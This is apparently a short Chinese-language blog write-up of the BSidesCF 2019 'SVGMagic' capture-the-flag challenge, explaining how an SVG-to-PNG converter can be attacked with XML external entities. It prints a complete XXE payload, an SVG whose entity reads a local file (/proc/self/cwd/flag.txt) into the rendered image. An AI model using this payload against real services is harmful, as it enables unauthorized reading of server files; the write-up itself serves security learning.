# [BSidesCF 2019]SVGMagic

标题说把 SVG 转为 PNG

SVG 是一种用 XML 定义的语言,SVG 图形是可交互的和动态的,可以在 SVG 文件中嵌入动画元素或通过脚本来定义动画。

也就是说这里的 SVG 是个 XML, 并且存在可控的内容,那么自然就会想到 XXE。

究极详细讲解:https://www.freebuf.com/vuls/175451.html

我的理解是:

首先我们要知道,XML 被设计用来传输和存储数据。
然后这个漏洞就是利用了,应用程序在解析XML输入时,没有禁止外部实体的加载。
就拿下面的这个来说<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >,这个就是外部实体,加载了flag.txt,然后输出,
也就是:应该是实体引用,把加载的东西放出来
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

2

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal